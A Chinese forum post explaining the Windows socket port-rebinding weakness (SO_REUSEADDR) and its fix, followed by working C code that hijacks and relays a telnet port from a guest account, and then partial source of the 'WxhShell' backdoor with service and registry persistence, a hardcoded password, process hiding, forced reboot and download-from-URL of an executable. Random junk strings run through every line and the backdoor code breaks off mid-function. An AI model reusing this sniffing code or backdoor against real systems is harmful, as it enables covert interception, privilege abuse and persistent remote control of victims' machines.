社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16119阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: **0~K";\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \K{ z  
]c*4J\s  
  saddr.sin_family = AF_INET; qZh/IW  
=*.~BG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C =xa5Y  
P;no?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2;b\9R^>A  
1~FOgk1;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2.y-48Nz  
dQX6(J j  
  这意味着什么?意味着可以进行如下的攻击: QL/(72K  
nF:4}qy\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4@gG<QJW  
U>SShpmZA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vt~{Gu-Y  
Pm?KI<TH~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (E 3b\lST  
y<3-?}.aZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #z%fx   
Zl!kJ:0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RBd7YWo\|j  
8W7J3{d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I][*j  
1.hyCTnI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >6-`}G+|  
hfB%`x#akQ  
  #include .V<+v-h  
  #include (,2S XV  
  #include h" W,WxL8  
  #include    ]N]!o#q}L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (mB&m@-N  
  int main() 2pCaX\t  
  { %2{ye  
  WORD wVersionRequested; Q{>k1$fkV  
  DWORD ret;  K5 z<3+  
  WSADATA wsaData; R29~~IOqO  
  BOOL val; Dy&i&5E.-l  
  SOCKADDR_IN saddr; =svN#q5s  
  SOCKADDR_IN scaddr; q<<v,ihh  
  int err; wJqMa9|  
  SOCKET s; o/)h"i0P  
  SOCKET sc; JR|ck=tq  
  int caddsize; >y>5#[M!  
  HANDLE mt; r;2^#6/Z  
  DWORD tid;   .Hm>i  
  wVersionRequested = MAKEWORD( 2, 2 ); >:!5*E5?  
  err = WSAStartup( wVersionRequested, &wsaData ); /N .b%M] !  
  if ( err != 0 ) { M _f:A  
  printf("error!WSAStartup failed!\n"); 6@!`]tSCK  
  return -1; T>Z<]s  
  } 0mVNQxHI  
  saddr.sin_family = AF_INET; \@zHON(  
   gJ{)-\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fo_sgv8O<  
~?}Emn;t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !< ";cw(q  
  saddr.sin_port = htons(23); J;e2&gB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C) s5D  
  { 0+ '&`Q!u  
  printf("error!socket failed!\n"); 5tk AFb4P  
  return -1; $PPi5f}HD  
  } Zi i   
  val = TRUE; 7]bGc \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b|DdG/O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (t|Zn@uY  
  { w9imKVry  
  printf("error!setsockopt failed!\n"); *^4"5X@  
  return -1; n>XdU%&  
  } ^ @5QP$.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V!=,0zy~Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *&W"bOMH*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `w Vyb>T  
`h\j99  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J@'wf8Ub  
  { "S]TP$O D  
  ret=GetLastError(); SfyQ$$Z  
  printf("error!bind failed!\n"); CRE3icXbQ  
  return -1; 'H!Uh]!  
  } R n[cW5Y<  
  listen(s,2); am'7uy!ka~  
  while(1) x9g#<2w8  
  { X_h}J=33Q  
  caddsize = sizeof(scaddr); cT,sh~-x,  
  //接受连接请求 {tZ.v@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m s \}  
  if(sc!=INVALID_SOCKET) {\5  
  { =T@1@w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZBthU")?  
  if(mt==NULL) <'*LRd$1  
  { ]ieeP4*  
  printf("Thread Creat Failed!\n"); ;^*W+,4WB  
  break; AkV#J, 3LC  
  } eMsd37J  
  } u#.2w)!D  
  CloseHandle(mt); 9A=,E&  
  } 4HlQ&2O%#  
  closesocket(s); M2Qr(K|  
  WSACleanup(); (A#^l=su  
  return 0; `^&OF u ee  
  }   eauF ~md,  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q &JUt(  
  { KRzAy)8  
  SOCKET ss = (SOCKET)lpParam; Yq KCeg  
  SOCKET sc; %u'u kcL7  
  unsigned char buf[4096]; ~?BXti<!  
  SOCKADDR_IN saddr; ?tbrbkx  
  long num; wHy!CP%  
  DWORD val; fZF@k5*\  
  DWORD ret; ICQKP1WFp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .q>iXE_c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lf&kv7Wj  
  saddr.sin_family = AF_INET; bAMdI 5Zk?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +e``OeXog  
  saddr.sin_port = htons(23); L0o\J` :  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GTd,n=  
  { ":ue-=&M  
  printf("error!socket failed!\n"); MTn{d  
  return -1; (<9u-HF#  
  } 8A# ;WG  
  val = 100; 02^rV*re  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mzgfFNm^G)  
  { KWHY4  
  ret = GetLastError(); 7[)E>XRE  
  return -1; 4WB0Pt{  
  } ktIFI`@ w)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M= (u]%\  
  { !Uo4,g6r+  
  ret = GetLastError(); "y}5;9#,  
  return -1; `c$V$/IT  
  } upmx $H>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mfr|:i  
  { y9ZvV0  
  printf("error!socket connect failed!\n"); !a\^Sk /  
  closesocket(sc); 75lA%| *X  
  closesocket(ss); N!}f}oF  
  return -1; g_bLl)g<  
  } CU0YIL  
  while(1)  ob]w;"  
  { W>r+h-kR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h*\%vr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Le^ n +5x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;xTpE2 -~  
  num = recv(ss,buf,4096,0); SXh-A1t  
  if(num>0) "tK=+f`NM  
  send(sc,buf,num,0); %|oym.-I6  
  else if(num==0) m&3xJuKih  
  break; P%n>Tg80M  
  num = recv(sc,buf,4096,0); a<e[e>  
  if(num>0) SpBy3wd  
  send(ss,buf,num,0); ~xTt204S  
  else if(num==0) -9?]IIVb  
  break; ;_=&-mz  
  } omx=  
  closesocket(ss); Mtx4'WZ  
  closesocket(sc); ;'1d1\wiDQ  
  return 0 ; V7/Rby Q  
  } [}m[)L\  
gX@aG9  
DlJo^|5  
========================================================== * T1_;4i  
{!`6zBsP  
下边附上一个代码,,WXhSHELL #vlgwA  
lOp`m8_=  
========================================================== 8@R|Km5h  
Fr-SvsNFB  
#include "stdafx.h" 7tp36TE  
l[J8!u2Xp  
#include <stdio.h> P+}h$ _x  
#include <string.h> j~MI<I+l[  
#include <windows.h> WIGi51yC.x  
#include <winsock2.h> r JB}qYD  
#include <winsvc.h> Z_NCD`i;  
#include <urlmon.h> 6]wIG$j  
,esmV-  
#pragma comment (lib, "Ws2_32.lib") ar,7S&s H  
#pragma comment (lib, "urlmon.lib") \U_@S.  
eO1lnO|  
#define MAX_USER   100 // 最大客户端连接数  !VpoZ  
#define BUF_SOCK   200 // sock buffer t{>q|0  
#define KEY_BUFF   255 // 输入 buffer -?a 26o%e  
]M3yLYK/P  
#define REBOOT     0   // 重启 k?}Zg*  
#define SHUTDOWN   1   // 关机 U0+-W07>  
MQ2_`pi  
#define DEF_PORT   5000 // 监听端口 mE[y SrV  
V]^$S"Tv  
#define REG_LEN     16   // 注册表键长度 X8\GzNE~R  
#define SVC_LEN     80   // NT服务名长度 An@t?#4gxi  
ssL\g`xe  
// 从dll定义API xSu >  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,r}6iFu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,,r>,Xq 6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bw.i}3UT6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4p wH>1  
73-p*o(pt  
// wxhshell配置信息 FI.\%x  
struct WSCFG { X>^fEQq"  
  int ws_port;         // 监听端口 v[<T]1=LRC  
  char ws_passstr[REG_LEN]; // 口令 O.M 1@w]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6u%&<")4HP  
  char ws_regname[REG_LEN]; // 注册表键名 4M T 7`sr  
  char ws_svcname[REG_LEN]; // 服务名 |j|rS5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qP ,EBE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '"Nr,vQo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~ri5zb20  
int ws_downexe;       // 下载执行标记, 1=yes 0=no naNghGQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  !@sUj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2<6UwF  
Y-9I3?ar  
}; (k P9hcV  
e+|sSpA  
// default Wxhshell configuration p<%d2@lp  
struct WSCFG wscfg={DEF_PORT, 4ppz,L,4  
    "xuhuanlingzhe", \U0'P;em  
    1, E{@[k%,_  
    "Wxhshell", I+(nu47ZT  
    "Wxhshell", qgB_=Q#E  
            "WxhShell Service", 9H~n _   
    "Wrsky Windows CmdShell Service", /_.|E]  
    "Please Input Your Password: ", ->jDb/a{C  
  1, )5H?Vh>36  
  "http://www.wrsky.com/wxhshell.exe", Fzcwy V   
  "Wxhshell.exe" }0 ?3:A  
    }; iDD$pd,e\  
x~sBzTa  
// 消息定义模块 8CE = 4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C,zohlpC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )B*t :tN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (?];VG  
char *msg_ws_ext="\n\rExit."; mZBo~(}  
char *msg_ws_end="\n\rQuit."; ig"L\ C"T  
char *msg_ws_boot="\n\rReboot..."; I 6O  
char *msg_ws_poff="\n\rShutdown..."; g{LP7 D;6  
char *msg_ws_down="\n\rSave to "; )PZT4jTt  
z!\*Y =e  
char *msg_ws_err="\n\rErr!"; 7Yy ;  
char *msg_ws_ok="\n\rOK!"; /V By^L:  
ABkl%m6xf  
char ExeFile[MAX_PATH]; "jCu6Rjd  
int nUser = 0; h`KU\X ) A  
HANDLE handles[MAX_USER]; <naz+QK'  
int OsIsNt; [B3RfCV{  
X{VOAcugr  
SERVICE_STATUS       serviceStatus; ZC8wA;!z^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,u m|1dh  
kcEeFG;DQ  
// 函数声明  lRQYpc\  
int Install(void); @nf`Gw ;  
int Uninstall(void); V6Dbd" i9  
int DownloadFile(char *sURL, SOCKET wsh); tp|d*7^i  
int Boot(int flag); $ Q0n  
void HideProc(void); W3RT{\  
int GetOsVer(void); *ui</+  
int Wxhshell(SOCKET wsl); 6B-16  
void TalkWithClient(void *cs); W l4%GB  
int CmdShell(SOCKET sock); =V5%+/r+f  
int StartFromService(void); 5-M-X#(  
int StartWxhshell(LPSTR lpCmdLine); '>" 4  
X?Au/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'q.!|G2U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =H~j,K  
N21smC}  
// 数据结构和表定义 z{>Rc"%\  
SERVICE_TABLE_ENTRY DispatchTable[] = K^[?O{x^B  
{ Ho%CDz z  
{wscfg.ws_svcname, NTServiceMain}, Gh$^{  
{NULL, NULL} Zc2PepIg  
}; 0YHFvy)  
D{!IW!w  
// 自我安装 g&.=2uP  
int Install(void) I@3MO0V^  
{ e(yh[7p=  
  char svExeFile[MAX_PATH]; n`KY9[0U=  
  HKEY key; @pxcpXCy  
  strcpy(svExeFile,ExeFile);  _4f;<FL  
KSL`W2}  
// 如果是win9x系统,修改注册表设为自启动 g .\[o@H  
if(!OsIsNt) { 8ipez/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Debv4Gr;^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =lC7gS!U  
  RegCloseKey(key); snJ129}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7o4\oRGV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3a|\dav%  
  RegCloseKey(key); uq{ beC  
  return 0; ?4B`9<j8%  
    } cNH7C"@GVu  
  } _G0 x3  
} ##{taR8  
else { ~5g~;f[4  
`{Ul!  
// 如果是NT以上系统,安装为系统服务 1Z;iV<d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c9Yrw^  
if (schSCManager!=0) 8_F1AU? u  
{ <QvOs@i*  
  SC_HANDLE schService = CreateService (#'>(t(4  
  ( 5X+A"X ;C  
  schSCManager, #1[u (<AS  
  wscfg.ws_svcname, rs.)CMk53  
  wscfg.ws_svcdisp, =T_g}pu  
  SERVICE_ALL_ACCESS, a9G8q>h]O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xeaj xcop#  
  SERVICE_AUTO_START, [gB+C84%%  
  SERVICE_ERROR_NORMAL, F\! `/4  
  svExeFile, {8aTV}Ha2  
  NULL, B1STGL`nK  
  NULL, ix$bRdl  
  NULL, nrb Ok4Dz  
  NULL, D]}G.v1  
  NULL {8OCXus3m  
  ); "]dI1 g_  
  if (schService!=0) AR=]=8  
  { kP"9&R`E  
  CloseServiceHandle(schService); ceV}WN19l  
  CloseServiceHandle(schSCManager); HP =+<]?{G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8_8l.!~  
  strcat(svExeFile,wscfg.ws_svcname); =Uh$&m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xA/D'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RpF&\x>  
  RegCloseKey(key); hQ i2U  
  return 0; KSvE~h[#+  
    } 9iq_rd]  
  } o@Oqm>]SS  
  CloseServiceHandle(schSCManager); nlYNN/@"  
} OCUr{Nh  
} ..qCPlK;  
YMgNzu  
return 1; G?ZXWu.  
} weQ_*<5%  
8RX&k  
// 自我卸载 yw!{MO  
int Uninstall(void) 2?5>o!C  
{ Qd-A.{[h  
  HKEY key; 99S ^f:t  
,'+kBZOv  
if(!OsIsNt) { +H.`MZ=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FtZ?C@1/  
  RegDeleteValue(key,wscfg.ws_regname); ;]iRk  
  RegCloseKey(key); -%~4W?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { liZxBs :%i  
  RegDeleteValue(key,wscfg.ws_regname); q@&6#B  
  RegCloseKey(key); J1vR5wbu  
  return 0; /B3iC#?  
  } +:f"Y0  
} _+,TT['57s  
} g :OI  
else { yr6V3],Tp  
"z c l|@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R=dC4;  
if (schSCManager!=0) O=lzT~G|4  
{ ?(PKeq6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nu^436MSOa  
  if (schService!=0) ]yu:i-SfP  
  { a}d@ T  
  if(DeleteService(schService)!=0) { d1*<Ll9K  
  CloseServiceHandle(schService); ebq4g387X  
  CloseServiceHandle(schSCManager); nNm`Hfi  
  return 0; 4W])}C %  
  } qLCR] _*  
  CloseServiceHandle(schService); N;d] 14|  
  } u y+pP!<  
  CloseServiceHandle(schSCManager); #ABCDi={zA  
} ~@!bsLSMU  
} I|OoRq  
j+!v}*I![  
return 1; 9ati`-y2  
} ~[ F`"  
)1z@  
// 从指定url下载文件 pw#-_  
int DownloadFile(char *sURL, SOCKET wsh) @L`jk+Y0vF  
{ >sF)Bo Lc  
  HRESULT hr; cS$_\65  
char seps[]= "/"; 0a7Ppntb@  
char *token;  9!GM{  
char *file; .VqhV  
char myURL[MAX_PATH]; jylD6IT  
char myFILE[MAX_PATH]; ye97!nIg@  
RNL9>7xV  
strcpy(myURL,sURL); "|NI]Kv  
  token=strtok(myURL,seps); #z(]xI)"  
  while(token!=NULL) xoL\us`A  
  { +mPx8P&%  
    file=token; [KQi.u  
  token=strtok(NULL,seps); Kq!3wb;  
  } jCY %|  
gIfh3D=yX  
GetCurrentDirectory(MAX_PATH,myFILE); uO**E-`  
strcat(myFILE, "\\"); DH=hH&[e(d  
strcat(myFILE, file); FwK] $4*  
  send(wsh,myFILE,strlen(myFILE),0); [ )F<V!  
send(wsh,"...",3,0); N#] ypl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f^e)O$N9]  
  if(hr==S_OK) 3^ClAE"8  
return 0; 7=uj2.J6  
else JT?h1v<H]  
return 1; WAqINLdX  
_g8yDfcLG  
} ^Pf WG*  
y7{?Ip4[  
// 系统电源模块 IBGrt^$M  
int Boot(int flag) "MsIjSu  
{ l]vm=7:  
  HANDLE hToken; _aphkeqd  
  TOKEN_PRIVILEGES tkp; xk5 ]^yDp  
_{>vTBU4F  
  if(OsIsNt) { wL1MENzp*z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4| f*eO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y2TtY;  
    tkp.PrivilegeCount = 1; ,6/V" kqIP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u +hX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZcsZ$qt^  
if(flag==REBOOT) { 5-V pJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R_KH"`q  
  return 0; $qiya[&G4  
} "Q<MS'a  
else { U:`Kss`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =I<R!ZSN  
  return 0; aXVFc5C\  
} (:_$5&i7  
  } hp2t"t  
  else { 965 jtn  
if(flag==REBOOT) { VVZ'i.*_3?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b>|6t~}M  
  return 0; W^Yxny  
} D9df=lv mD  
else { ~[ jQ!tz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K9[UB  
  return 0; H}!r|nG  
} ' QG?nu  
} 7pd$\$  
1\Xw3prH  
return 1; pmM9,6P4@  
} Z;i:](  
F2WKd1U  
// win9x进程隐藏模块 W!X@  
void HideProc(void) |4JEU3\$  
{ 4 5e~6",  
7v kL1IA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s%S  
  if ( hKernel != NULL ) Hz~zu{;{J  
  {  g-A-kqo9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r$1Qf}J3=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yevPHN"M  
    FreeLibrary(hKernel); )4OxY[2J  
  } {=WgzP  
yfSmDPh  
return; hM{bavd  
} 3F3A%C%  
i. "v4D  
// 获取操作系统版本 2iOV/=+  
int GetOsVer(void) 8m MQ[#0:}  
{ Ulyue  
  OSVERSIONINFO winfo; = &]L00u.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^c<Ve'-  
  GetVersionEx(&winfo); 2HdC |$_+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /(cPfZZ  
  return 1; !Ee:o"jG{  
  else A<{{iBEI`  
  return 0; d~H`CrQE*  
} 8r{.jFGv  
*g%yRU{N  
// 客户端句柄模块 %A`+WYeuX  
int Wxhshell(SOCKET wsl) t!XwW$@  
{ vt8By@]:  
  SOCKET wsh; ]`K2 N  
  struct sockaddr_in client; Z~CjA%l  
  DWORD myID; WMdg1J+~  
JI}'dU>*U:  
  while(nUser<MAX_USER) 3$ pX  
{ l-Z4Mq6*L  
  int nSize=sizeof(client); j_AACq {.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UfGkTwoo=  
  if(wsh==INVALID_SOCKET) return 1; =  [E  
cr3^6HB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  @5FQX  
if(handles[nUser]==0) A&VG~r$  
  closesocket(wsh); Ytkv!]"  
else k:;r2f  
  nUser++; \dVOwr  
  } v+XJ*N[W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (HVGlw'`  
X8|,   
  return 0; .]^?<bG  
} :> '+"M2r  
G[=c Ss,  
// 关闭 socket $i&zex{\  
void CloseIt(SOCKET wsh) uFE)17E  
{ C Z;6@{ o  
closesocket(wsh); C]6O!Pb0  
nUser--; )e{aN+  
ExitThread(0); Hka2  
} L,\Iasv  
\hXDO_U  
// 客户端请求句柄 I,tud!p`  
void TalkWithClient(void *cs) { FkF  
{ ^W ^OfY  
@dK Tx#gZ  
  SOCKET wsh=(SOCKET)cs; `3pW]&  
  char pwd[SVC_LEN]; 'DR!9De  
  char cmd[KEY_BUFF]; eFgA 8kY)  
char chr[1]; 7dWS  
int i,j; ax`o>_)  
wMn i  
  while (nUser < MAX_USER) { Tk}]Gev  
j%kncGS  
if(wscfg.ws_passstr) { (=0.inZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~$'awY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8=+j_UGI  
  //ZeroMemory(pwd,KEY_BUFF); By |4 m  
      i=0; .Mbz3;i0  
  while(i<SVC_LEN) { ?< +WG/(d  
@{Q4^'K"  
  // 设置超时 S[gx{Bxiw  
  fd_set FdRead; 7#XzrT]  
  struct timeval TimeOut; qGo.WZ$  
  FD_ZERO(&FdRead); IxU/?Zm  
  FD_SET(wsh,&FdRead); 0B2t"(&  
  TimeOut.tv_sec=8; 4x34u}l  
  TimeOut.tv_usec=0; %J(:ADu]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I9Xuok!0>=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ye&;(30Oq  
nlP;nlW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ljXzD93Z  
  pwd=chr[0]; 0J9x9j`&j  
  if(chr[0]==0xd || chr[0]==0xa) { P:c w|Q  
  pwd=0; M3\AY30L  
  break; 54 T`OE =  
  } iS^QTuk3%  
  i++; uRvP hkqm  
    } ';CNGv -  
0mE 0 j  
  // 如果是非法用户,关闭 socket @gblW*Zhk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L!92P{K  
} %b$>qW\*&  
_6Sp QW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q V =!ORuj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )9g2D`a4  
|Cv!,]9:r  
while(1) { ( .:e,l{U%  
y[;>#j$  
  ZeroMemory(cmd,KEY_BUFF); /uc>@!F  
N~Jda o  
      // 自动支持客户端 telnet标准   r!v\"6:OM  
  j=0; D.:Zx  
  while(j<KEY_BUFF) { 4hB]vY\T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j2k"cmsKh  
  cmd[j]=chr[0]; wk^B"+Uhy  
  if(chr[0]==0xa || chr[0]==0xd) { IGl9 g_18  
  cmd[j]=0; M`_0C38  
  break; HMXE$d=[  
  } BmT!aue  
  j++; i!Ba]n   
    } Gc?a+T  
_BufO7 `.  
  // 下载文件 K(4_a``05  
  if(strstr(cmd,"http://")) { 5BIY<B+i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U^PgG|0N  
  if(DownloadFile(cmd,wsh)) dtDFoETz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ZX }Nc g  
  else '1[Ft03  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cAw/I@jG  
  } Yy8g(bU  
  else { -"x$ZnHU  
W/N7vAx X  
    switch(cmd[0]) { 5xiEPh  
  CIWO7bS  
  // 帮助 }e1ZbmW  
  case '?': { ~%oR[B7=|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iZmcI;?u  
    break; PCA4k.,T  
  } F4QVAOM]U  
  // 安装 Ry&6p>-  
  case 'i': { tbr=aY$jY  
    if(Install()) X}]-*T|a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R2NZ{"h  
    else (Ldi|jL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;uW FHc5@B  
    break; qq?!LEZ  
    } rv;3~'V  
  // 卸载 :RYTL'hes  
  case 'r': { ceA9) {  
    if(Uninstall()) }V>T M{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XW/o<[91  
    else crCJrN=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \8tsDG(1 '  
    break; #yen8SskB  
    } 4-w{BZuS  
  // 显示 wxhshell 所在路径 UiWg<_<t  
  case 'p': { =4!mAo}  
    char svExeFile[MAX_PATH]; $G>.\t  
    strcpy(svExeFile,"\n\r"); ]:;&1h3'7  
      strcat(svExeFile,ExeFile); iU-j"&L5  
        send(wsh,svExeFile,strlen(svExeFile),0); 'w/hw'F6  
    break; ]9-\~Mwh  
    } 2oW"'43X  
  // 重启 XW9!p.*.U  
  case 'b': { ,4 rPg]r@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Jw,>}  
    if(Boot(REBOOT)) ]n~V!hl?A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a*;b^Ze`v  
    else { ?2a$*(  
    closesocket(wsh); /reX{Y  
    ExitThread(0); u2I Cl  
    } @HW*09TG  
    break; Efe 7gE'  
